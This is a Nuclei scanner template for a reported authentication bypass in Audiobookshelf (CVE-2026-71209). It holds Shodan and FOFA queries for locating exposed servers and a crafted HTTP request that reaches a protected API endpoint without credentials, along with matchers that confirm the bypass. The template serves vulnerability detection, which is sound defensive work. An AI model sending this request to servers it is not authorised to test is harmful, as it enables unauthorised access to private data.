Audiobookshelf - Authentication Bypass

id: CVE-2026-71209

info:
  name: Audiobookshelf - Authentication Bypass
  author: str4k3r
  severity: critical
  description: |
    Audiobookshelf contains a path traversal caused by improper authentication-exemption check on URL-encoded paths in server/routers/Auth.js, letting unauthenticated attackers read arbitrary files, exploit requires crafted URL with encoded traversal sequences.
  impact: |
    Unauthenticated attackers can read arbitrary files accessible by the service account, leading to sensitive information disclosure.
  remediation: |
    Update to the latest version with proper decoding and authentication checks for path parameters.
  reference:
    - https://github.com/advplyr/audiobookshelf/security/advisories/GHSA-pg8v-5jcv-wrvw
    - https://nvd.nist.gov/vuln/detail/CVE-2026-71209
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2026-71209
    cwe-id: CWE-287
  metadata:
    verified: true
    max-request: 2
    vendor: audiobookshelf
    product: audiobookshelf
    shodan-query: title:"audiobookshelf"
    fofa-query: title="audiobookshelf"
  tags: cve,cve2026,audiobookshelf,auth-bypass,exposure

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    max-redirects: 3

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_any(body, "audiobookshelf", "Audiobookshelf")'
        condition: and
        internal: true

  - raw:
      - |
        GET /api/collections?r=/api/items/1/cover HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "application/json")'
          - 'contains(body, "collections")'
        condition: and
# digest: 490a0046304402204a49523b4c875e20a2103bfb384daf7b43640c44a9d27359d38109d0b5a3410f02203e3647cc19c08b5a0eb37a12ed0ee4b71c5b9d7aaca8ab33e9837a9bc0e31eee:922c64590222798bb761d5b6d8e72950